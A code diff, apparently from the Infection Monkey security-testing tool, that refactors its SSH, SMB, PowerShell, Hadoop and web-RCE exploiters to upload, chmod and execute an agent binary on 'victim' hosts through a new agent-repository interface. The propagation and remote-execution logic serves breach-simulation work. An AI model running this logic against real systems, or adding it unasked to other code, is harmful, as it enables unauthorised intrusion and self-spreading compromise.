||||||
|
from . import IAgentRepository
|
||||||
from .HostExploiter import HostExploiter
|
from .HostExploiter import HostExploiter
|
||||||
|
|
||||||
|
|
||||||
|
@ -16,17 +17,28 @@ class ExploiterWrapper:
|
||||||
|
|
||||||
class Inner:
|
class Inner:
|
||||||
def __init__(
|
def __init__(
|
||||||
self, exploit_class: Type[HostExploiter], telemetry_messenger: ITelemetryMessenger
|
self,
|
||||||
|
exploit_class: Type[HostExploiter],
|
||||||
|
telemetry_messenger: ITelemetryMessenger,
|
||||||
|
agent_repository: IAgentRepository,
|
||||||
):
|
):
|
||||||
self._exploit_class = exploit_class
|
self._exploit_class = exploit_class
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
self._agent_repository = agent_repository
|
||||||
|
|
||||||
def exploit_host(self, host: VictimHost, options: Dict):
|
def exploit_host(self, host: VictimHost, options: Dict):
|
||||||
exploiter = self._exploit_class()
|
exploiter = self._exploit_class()
|
||||||
return exploiter.exploit_host(host, self._telemetry_messenger, options)
|
return exploiter.exploit_host(
|
||||||
|
host, self._telemetry_messenger, self._agent_repository, options
|
||||||
|
)
|
||||||
|
|
||||||
def __init__(self, telemetry_messenger: ITelemetryMessenger):
|
def __init__(
|
||||||
|
self, telemetry_messenger: ITelemetryMessenger, agent_repository: IAgentRepository
|
||||||
|
):
|
||||||
self._telemetry_messenger = telemetry_messenger
|
self._telemetry_messenger = telemetry_messenger
|
||||||
|
self._agent_repository = agent_repository
|
||||||
|
|
||||||
def wrap(self, exploit_class: Type[HostExploiter]):
|
def wrap(self, exploit_class: Type[HostExploiter]):
|
||||||
return ExploiterWrapper.Inner(exploit_class, self._telemetry_messenger)
|
return ExploiterWrapper.Inner(
|
||||||
|
exploit_class, self._telemetry_messenger, self._agent_repository
|
||||||
|
)
|
||||||
|
|
|
@ -42,13 +42,18 @@ class HadoopExploiter(WebRCE):
|
||||||
self.add_vulnerable_urls(urls, True)
|
self.add_vulnerable_urls(urls, True)
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
paths = self.get_monkey_paths()
|
|
||||||
if not paths:
|
|
||||||
return self.exploit_result
|
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
command = self._build_command(paths["dest_path"], http_path)
|
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||||
|
except KeyError:
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
self.host, dropper_target_path, self.agent_repository
|
||||||
|
)
|
||||||
|
|
||||||
|
try:
|
||||||
|
command = self._build_command(dropper_target_path, http_path)
|
||||||
|
|
||||||
if self.exploit(self.vulnerable_urls[0], command):
|
if self.exploit(self.vulnerable_urls[0], command):
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
|
|
|
@ -0,0 +1,21 @@
|
||||||
|
import abc
|
||||||
|
import io
|
||||||
|
|
||||||
|
|
||||||
|
class IAgentRepository(metaclass=abc.ABCMeta):
|
||||||
|
"""
|
||||||
|
IAgentRepository provides an interface for other components to access agent binaries. Notably,
|
||||||
|
this is used by exploiters during propagation to retrieve the appropriate agent binary so that
|
||||||
|
it can be uploaded to a victim and executed.
|
||||||
|
"""
|
||||||
|
|
||||||
|
@abc.abstractmethod
|
||||||
|
def get_agent_binary(self, os: str, architecture: str = None) -> io.BytesIO:
|
||||||
|
"""
|
||||||
|
Retrieve the appropriate agent binary from the repository.
|
||||||
|
:param str os: The name of the operating system on which the agent binary will run
|
||||||
|
:param str architecture: Reserved
|
||||||
|
:return: A file-like object for the requested agent binary
|
||||||
|
:rtype: io.BytesIO
|
||||||
|
"""
|
||||||
|
pass
|
|
@ -2,7 +2,6 @@ import logging
|
||||||
import os
|
import os
|
||||||
from typing import List, Optional
|
from typing import List, Optional
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_32
|
from infection_monkey.exploit.consts import WIN_ARCH_32
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
|
@ -22,7 +21,7 @@ from infection_monkey.exploit.powershell_utils.powershell_client import (
|
||||||
IPowerShellClient,
|
IPowerShellClient,
|
||||||
PowerShellClient,
|
PowerShellClient,
|
||||||
)
|
)
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
from infection_monkey.utils.environment import is_windows_os
|
from infection_monkey.utils.environment import is_windows_os
|
||||||
|
@ -186,11 +185,15 @@ class PowerShellExploiter(HostExploiter):
|
||||||
return is_monkey_copy_successful
|
return is_monkey_copy_successful
|
||||||
|
|
||||||
def _write_virtual_file_to_local_path(self) -> None:
|
def _write_virtual_file_to_local_path(self) -> None:
|
||||||
|
"""
|
||||||
|
# TODO: monkeyfs has been removed. Fix this in issue #1740.
|
||||||
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
with monkeyfs.open(monkey_fs_path) as monkey_virtual_file:
|
||||||
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
|
||||||
monkey_local_file.write(monkey_virtual_file.read())
|
monkey_local_file.write(monkey_virtual_file.read())
|
||||||
|
"""
|
||||||
|
pass
|
||||||
|
|
||||||
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
def _run_monkey_executable_on_victim(self, executable_path) -> None:
|
||||||
monkey_execution_command = build_monkey_execution_command(
|
monkey_execution_command = build_monkey_execution_command(
|
||||||
|
|
|
@ -4,12 +4,11 @@ import time
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from common.utils.exceptions import FailedExploitationError
|
from common.utils.exceptions import FailedExploitationError
|
||||||
from common.utils.exploit_enum import ExploitType
|
from common.utils.exploit_enum import ExploitType
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth
|
||||||
from infection_monkey.i_puppet import ExploiterResultData
|
from infection_monkey.i_puppet import ExploiterResultData
|
||||||
from infection_monkey.model import MONKEY_ARG
|
from infection_monkey.model import MONKEY_ARG
|
||||||
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
|
||||||
|
@ -133,7 +132,6 @@ class SSHExploiter(HostExploiter):
|
||||||
_, stdout, _ = ssh.exec_command("uname -o")
|
_, stdout, _ = ssh.exec_command("uname -o")
|
||||||
uname_os = stdout.read().lower().strip().decode()
|
uname_os = stdout.read().lower().strip().decode()
|
||||||
if "linux" in uname_os:
|
if "linux" in uname_os:
|
||||||
self.host.os["type"] = "linux"
|
|
||||||
self.exploit_result.os = "linux"
|
self.exploit_result.os = "linux"
|
||||||
else:
|
else:
|
||||||
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
|
||||||
|
@ -149,21 +147,9 @@ class SSHExploiter(HostExploiter):
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
if not self.host.os.get("machine"):
|
agent_binary_file_object = self.agent_repository.get_agent_binary(self.exploit_result.os)
|
||||||
try:
|
|
||||||
_, stdout, _ = ssh.exec_command("uname -m")
|
|
||||||
uname_machine = stdout.read().lower().strip().decode()
|
|
||||||
if "" != uname_machine:
|
|
||||||
self.host.os["machine"] = uname_machine
|
|
||||||
except Exception as exc:
|
|
||||||
self.exploit_result.error_message = (
|
|
||||||
f"Error running uname machine command on victim {self.host}: ({exc})"
|
|
||||||
)
|
|
||||||
logger.error(self.exploit_result.error_message)
|
|
||||||
|
|
||||||
src_path = get_target_monkey(self.host)
|
if not agent_binary_file_object:
|
||||||
|
|
||||||
if not src_path:
|
|
||||||
self.exploit_result.error_message = (
|
self.exploit_result.error_message = (
|
||||||
f"Can't find suitable monkey executable for host {self.host}"
|
f"Can't find suitable monkey executable for host {self.host}"
|
||||||
)
|
)
|
||||||
|
@ -172,26 +158,17 @@ class SSHExploiter(HostExploiter):
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
try:
|
try:
|
||||||
ftp = ssh.open_sftp()
|
with ssh.open_sftp() as ftp:
|
||||||
|
self._update_timestamp = time.time()
|
||||||
self._update_timestamp = time.time()
|
|
||||||
with monkeyfs.open(src_path) as file_obj:
|
|
||||||
ftp.putfo(
|
ftp.putfo(
|
||||||
file_obj,
|
agent_binary_file_object,
|
||||||
self.options["dropper_target_path_linux"],
|
self.options["dropper_target_path_linux"],
|
||||||
file_size=monkeyfs.getsize(src_path),
|
file_size=len(agent_binary_file_object.getbuffer()),
|
||||||
callback=self.log_transfer,
|
callback=self.log_transfer,
|
||||||
)
|
)
|
||||||
ftp.chmod(self.options["dropper_target_path_linux"], 0o777)
|
self._set_executable_bit_on_agent_binary(ftp)
|
||||||
status = ScanStatus.USED
|
|
||||||
self.telemetry_messenger.send_telemetry(
|
status = ScanStatus.USED
|
||||||
T1222Telem(
|
|
||||||
ScanStatus.USED,
|
|
||||||
"chmod 0777 %s" % self.options["dropper_target_path_linux"],
|
|
||||||
self.host,
|
|
||||||
)
|
|
||||||
)
|
|
||||||
ftp.close()
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
self.exploit_result.error_message = (
|
self.exploit_result.error_message = (
|
||||||
f"Error uploading file into victim {self.host}: ({exc})"
|
f"Error uploading file into victim {self.host}: ({exc})"
|
||||||
|
@ -201,7 +178,10 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
self.telemetry_messenger.send_telemetry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path
|
status,
|
||||||
|
get_interface_to_target(self.host.ip_addr),
|
||||||
|
self.host.ip_addr,
|
||||||
|
self.options["dropper_target_path_linux"],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
if status == ScanStatus.SCANNED:
|
if status == ScanStatus.SCANNED:
|
||||||
|
@ -233,3 +213,13 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
logger.error(self.exploit_result.error_message)
|
logger.error(self.exploit_result.error_message)
|
||||||
return self.exploit_result
|
return self.exploit_result
|
||||||
|
|
||||||
|
def _set_executable_bit_on_agent_binary(self, ftp: paramiko.sftp_client.SFTPClient):
|
||||||
|
ftp.chmod(self.options["dropper_target_path_linux"], 0o700)
|
||||||
|
self.telemetry_messenger.send_telemetry(
|
||||||
|
T1222Telem(
|
||||||
|
ScanStatus.USED,
|
||||||
|
"chmod 0700 %s" % self.options["dropper_target_path_linux"],
|
||||||
|
self.host,
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
|
@ -11,38 +11,13 @@ def try_get_target_monkey(host):
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey(host):
|
def get_target_monkey(host):
|
||||||
import platform
|
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
|
||||||
import sys
|
|
||||||
|
|
||||||
from infection_monkey.control import ControlClient
|
|
||||||
|
|
||||||
if host.monkey_exe:
|
|
||||||
return host.monkey_exe
|
|
||||||
|
|
||||||
if not host.os.get("type"):
|
|
||||||
return None
|
|
||||||
|
|
||||||
monkey_path = ControlClient.download_monkey_exe(host)
|
|
||||||
|
|
||||||
if host.os.get("machine") and monkey_path:
|
|
||||||
host.monkey_exe = monkey_path
|
|
||||||
|
|
||||||
if not monkey_path:
|
|
||||||
if host.os.get("type") == platform.system().lower():
|
|
||||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit,
|
|
||||||
# use our exe
|
|
||||||
if (not host.os.get("machine") and sys.maxsize < 2 ** 32) or host.os.get(
|
|
||||||
"machine", ""
|
|
||||||
).lower() == platform.machine().lower():
|
|
||||||
monkey_path = sys.executable
|
|
||||||
|
|
||||||
return monkey_path
|
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
from infection_monkey.control import ControlClient
|
raise NotImplementedError(
|
||||||
|
"get_target_monkey_by_os() has been retired. Use IAgentRepository instead."
|
||||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
)
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
|
@ -54,7 +29,7 @@ def get_monkey_depth():
|
||||||
def get_monkey_dest_path(url_to_monkey):
|
def get_monkey_dest_path(url_to_monkey):
|
||||||
"""
|
"""
|
||||||
Gets destination path from monkey's source url.
|
Gets destination path from monkey's source url.
|
||||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe
|
||||||
:return: Corresponding monkey path from configuration
|
:return: Corresponding monkey path from configuration
|
||||||
"""
|
"""
|
||||||
from infection_monkey.config import WormConfiguration
|
from infection_monkey.config import WormConfiguration
|
||||||
|
@ -65,8 +40,6 @@ def get_monkey_dest_path(url_to_monkey):
|
||||||
try:
|
try:
|
||||||
if "linux" in url_to_monkey:
|
if "linux" in url_to_monkey:
|
||||||
return WormConfiguration.dropper_target_path_linux
|
return WormConfiguration.dropper_target_path_linux
|
||||||
elif "windows-32" in url_to_monkey:
|
|
||||||
return WormConfiguration.dropper_target_path_win_32
|
|
||||||
elif "windows-64" in url_to_monkey:
|
elif "windows-64" in url_to_monkey:
|
||||||
return WormConfiguration.dropper_target_path_win_64
|
return WormConfiguration.dropper_target_path_win_64
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -11,33 +11,12 @@ from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
from infection_monkey.transport import LockedHTTPServer
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class HTTPTools(object):
|
class HTTPTools(object):
|
||||||
@staticmethod
|
|
||||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
|
||||||
if not local_port:
|
|
||||||
local_port = get_free_tcp_port()
|
|
||||||
|
|
||||||
if not local_ip:
|
|
||||||
local_ip = get_interface_to_target(host.ip_addr)
|
|
||||||
|
|
||||||
if not firewall.listen_allowed():
|
|
||||||
return None, None
|
|
||||||
|
|
||||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
|
||||||
httpd.daemon = True
|
|
||||||
httpd.start()
|
|
||||||
|
|
||||||
return (
|
|
||||||
"http://%s:%s/%s"
|
|
||||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
|
||||||
httpd,
|
|
||||||
)
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
@ -49,7 +28,9 @@ class HTTPTools(object):
|
||||||
return http_path, http_thread
|
return http_path, http_thread
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def create_locked_transfer(
|
||||||
|
host, dropper_target_path, agent_repository, local_ip=None, local_port=None
|
||||||
|
):
|
||||||
"""
|
"""
|
||||||
Create http server for file transfer with a lock
|
Create http server for file transfer with a lock
|
||||||
:param host: Variable with target's information
|
:param host: Variable with target's information
|
||||||
|
@ -71,12 +52,13 @@ class HTTPTools(object):
|
||||||
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
logger.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
httpd = LockedHTTPServer(
|
||||||
|
local_ip, local_port, host.os["type"], dropper_target_path, agent_repository, lock
|
||||||
|
)
|
||||||
httpd.start()
|
httpd.start()
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return (
|
return (
|
||||||
"http://%s:%s/%s"
|
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
||||||
% (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))),
|
|
||||||
httpd,
|
httpd,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
|
@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import srvs, transport
|
||||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.config import Configuration
|
from infection_monkey.config import Configuration
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
|
@ -20,7 +19,8 @@ class SmbTools(object):
|
||||||
def copy_file(
|
def copy_file(
|
||||||
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
host, src_path, dst_path, username, password, lm_hash="", ntlm_hash="", timeout=60
|
||||||
):
|
):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
# monkeyfs has been removed. Fix this in issue #1741
|
||||||
|
# assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(
|
smb, dialect = SmbTools.new_smb_connection(
|
||||||
host, username, password, lm_hash, ntlm_hash, timeout
|
host, username, password, lm_hash, ntlm_hash, timeout
|
||||||
|
@ -138,10 +138,13 @@ class SmbTools(object):
|
||||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
# monkeyfs has been removed. Fix this in issue #1741
|
||||||
|
"""
|
||||||
with monkeyfs.open(src_path, "rb") as source_file:
|
with monkeyfs.open(src_path, "rb") as source_file:
|
||||||
# make sure of the timeout
|
# make sure of the timeout
|
||||||
smb.setTimeout(timeout)
|
smb.setTimeout(timeout)
|
||||||
smb.putFile(share_name, remote_path, source_file.read)
|
smb.putFile(share_name, remote_path, source_file.read)
|
||||||
|
"""
|
||||||
|
|
||||||
file_uploaded = True
|
file_uploaded = True
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
|
|
|
@ -4,7 +4,6 @@ from posixpath import join
|
||||||
from typing import List, Tuple
|
from typing import List, Tuple
|
||||||
|
|
||||||
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus
|
||||||
from infection_monkey.exploit.consts import WIN_ARCH_64
|
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||||
|
@ -35,7 +34,7 @@ class WebRCE(HostExploiter):
|
||||||
def __init__(self, monkey_target_paths=None):
|
def __init__(self, monkey_target_paths=None):
|
||||||
"""
|
"""
|
||||||
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
:param monkey_target_paths: Where to upload the monkey at the target host system.
|
||||||
Dict in format {'linux': '/tmp/monkey.sh', 'win32': './monkey32.exe', 'win64':... }
|
Dict in format {'linux': '/tmp/monkey.sh', 'win64':... }
|
||||||
"""
|
"""
|
||||||
super(WebRCE, self).__init__()
|
super(WebRCE, self).__init__()
|
||||||
self.monkey_target_paths = monkey_target_paths
|
self.monkey_target_paths = monkey_target_paths
|
||||||
|
@ -117,7 +116,6 @@ class WebRCE(HostExploiter):
|
||||||
if not self.monkey_target_paths:
|
if not self.monkey_target_paths:
|
||||||
self.monkey_target_paths = {
|
self.monkey_target_paths = {
|
||||||
"linux": self.options["dropper_target_path_linux"],
|
"linux": self.options["dropper_target_path_linux"],
|
||||||
"win32": self.options["dropper_target_path_win_32"],
|
|
||||||
"win64": self.options["dropper_target_path_win_64"],
|
"win64": self.options["dropper_target_path_win_64"],
|
||||||
}
|
}
|
||||||
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
self.HTTP = [str(port) for port in self.options["http_ports"]]
|
||||||
|
@ -276,7 +274,7 @@ class WebRCE(HostExploiter):
|
||||||
"monkey_path": dest_path,
|
"monkey_path": dest_path,
|
||||||
"http_path": http_path,
|
"http_path": http_path,
|
||||||
}
|
}
|
||||||
self.telemetry_messenger.send_telemtry(
|
self.telemetry_messenger.send_telemetry(
|
||||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
|
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING)
|
||||||
)
|
)
|
||||||
resp = self.exploit(url, backup_command)
|
resp = self.exploit(url, backup_command)
|
||||||
|
@ -294,11 +292,12 @@ class WebRCE(HostExploiter):
|
||||||
if not self.host.os["type"]:
|
if not self.host.os["type"]:
|
||||||
logger.error("Unknown target's os type. Skipping.")
|
logger.error("Unknown target's os type. Skipping.")
|
||||||
return False
|
return False
|
||||||
paths = self.get_monkey_paths()
|
|
||||||
if not paths:
|
dropper_target_path = self.monkey_target_paths[self.host.os["type"]]
|
||||||
return False
|
|
||||||
# Create server for http download and wait for it's startup.
|
# Create server for http download and wait for it's startup.
|
||||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"])
|
http_path, http_thread = HTTPTools.create_locked_transfer(
|
||||||
|
self.host, dropper_target_path, self.agent_repository
|
||||||
|
)
|
||||||
if not http_path:
|
if not http_path:
|
||||||
logger.debug("Exploiter failed, http transfer creation failed.")
|
logger.debug("Exploiter failed, http transfer creation failed.")
|
||||||
return False
|
return False
|
||||||
|
@ -306,10 +305,10 @@ class WebRCE(HostExploiter):
|
||||||
# Choose command:
|
# Choose command:
|
||||||
if not commands:
|
if not commands:
|
||||||
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
commands = {"windows": POWERSHELL_HTTP_UPLOAD, "linux": WGET_HTTP_UPLOAD}
|
||||||
command = self.get_command(paths["dest_path"], http_path, commands)
|
command = self.get_command(dropper_target_path, http_path, commands)
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
resp = self.run_backup_commands(resp, url, paths["dest_path"], http_path)
|
resp = self.run_backup_commands(resp, url, dropper_target_path, http_path)
|
||||||
|
|
||||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||||
http_thread.stop()
|
http_thread.stop()
|
||||||
|
@ -318,7 +317,7 @@ class WebRCE(HostExploiter):
|
||||||
if resp is False:
|
if resp is False:
|
||||||
return resp
|
return resp
|
||||||
else:
|
else:
|
||||||
return {"response": resp, "path": paths["dest_path"]}
|
return {"response": resp, "path": dropper_target_path}
|
||||||
|
|
||||||
def change_permissions(self, url, path, command=None):
|
def change_permissions(self, url, path, command=None):
|
||||||
"""
|
"""
|
||||||
|
@ -336,10 +335,10 @@ class WebRCE(HostExploiter):
|
||||||
command = CHMOD_MONKEY % {"monkey_path": path}
|
command = CHMOD_MONKEY % {"monkey_path": path}
|
||||||
try:
|
try:
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.USED, command, self.host))
|
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.USED, command, self.host))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error("Something went wrong while trying to change permission: %s" % e)
|
logger.error("Something went wrong while trying to change permission: %s" % e)
|
||||||
self.telemetry_messenger.send_telemtry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
self.telemetry_messenger.send_telemetry(T1222Telem(ScanStatus.SCANNED, "", self.host))
|
||||||
return False
|
return False
|
||||||
# If exploiter returns True / False
|
# If exploiter returns True / False
|
||||||
if isinstance(resp, bool):
|
if isinstance(resp, bool):
|
||||||
|
@ -412,7 +411,7 @@ class WebRCE(HostExploiter):
|
||||||
"""
|
"""
|
||||||
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
|
Gets destination path from one of WEB_RCE predetermined paths(self.monkey_target_paths).
|
||||||
:param url_to_monkey: Hosted monkey's url. egz :
|
:param url_to_monkey: Hosted monkey's url. egz :
|
||||||
http://localserver:9999/monkey/windows-32.exe
|
http://localserver:9999/monkey/windows-64.exe
|
||||||
:return: Corresponding monkey path from self.monkey_target_paths
|
:return: Corresponding monkey path from self.monkey_target_paths
|
||||||
"""
|
"""
|
||||||
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey):
|
||||||
|
@ -423,9 +422,7 @@ class WebRCE(HostExploiter):
|
||||||
try:
|
try:
|
||||||
if "linux" in url_to_monkey:
|
if "linux" in url_to_monkey:
|
||||||
return self.monkey_target_paths["linux"]
|
return self.monkey_target_paths["linux"]
|
||||||
elif "windows-32" in url_to_monkey:
|
elif "windows" in url_to_monkey:
|
||||||
return self.monkey_target_paths["win32"]
|
|
||||||
elif "windows-64" in url_to_monkey:
|
|
||||||
return self.monkey_target_paths["win64"]
|
return self.monkey_target_paths["win64"]
|
||||||
else:
|
else:
|
||||||
logger.error(
|
logger.error(
|
||||||
|
@ -435,9 +432,8 @@ class WebRCE(HostExploiter):
|
||||||
return False
|
return False
|
||||||
except KeyError:
|
except KeyError:
|
||||||
logger.error(
|
logger.error(
|
||||||
'Unknown key was found. Please use "linux", "win32" and "win64" keys to '
|
'Unknown key was found. Please use "linux" and "win64" keys to '
|
||||||
"initialize "
|
"initialize custom dict of monkey's destination paths"
|
||||||
"custom dict of monkey's destination paths"
|
|
||||||
)
|
)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -470,13 +466,7 @@ class WebRCE(HostExploiter):
|
||||||
if self.host.os["type"] == "linux":
|
if self.host.os["type"] == "linux":
|
||||||
return self.options["dropper_target_path_linux"]
|
return self.options["dropper_target_path_linux"]
|
||||||
if self.host.os["type"] == "windows":
|
if self.host.os["type"] == "windows":
|
||||||
try:
|
return self.options["dropper_target_path_win_64"]
|
||||||
# remove now or when 32-bit binaries are removed?
|
|
||||||
if self.host.os["machine"] == WIN_ARCH_64:
|
|
||||||
return self.options["dropper_target_path_win_64"]
|
|
||||||
except KeyError:
|
|
||||||
logger.debug("Target's machine type was not set. Using win-32 dropper path.")
|
|
||||||
return self.options["dropper_target_path_win_32"]
|
|
||||||
|
|
||||||
def get_target_url(self):
|
def get_target_url(self):
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -8,7 +8,6 @@ class VictimHost(object):
|
||||||
self.os = {}
|
self.os = {}
|
||||||
self.services = {}
|
self.services = {}
|
||||||
self.icmp = False
|
self.icmp = False
|
||||||
self.monkey_exe = None
|
|
||||||
self.default_tunnel = None
|
self.default_tunnel = None
|
||||||
self.default_server = None
|
self.default_server = None
|
||||||
|
|
||||||
|
@ -42,7 +41,6 @@ class VictimHost(object):
|
||||||
for k, v in list(self.services.items()):
|
for k, v in list(self.services.items()):
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += "] ICMP: %s " % (self.icmp)
|
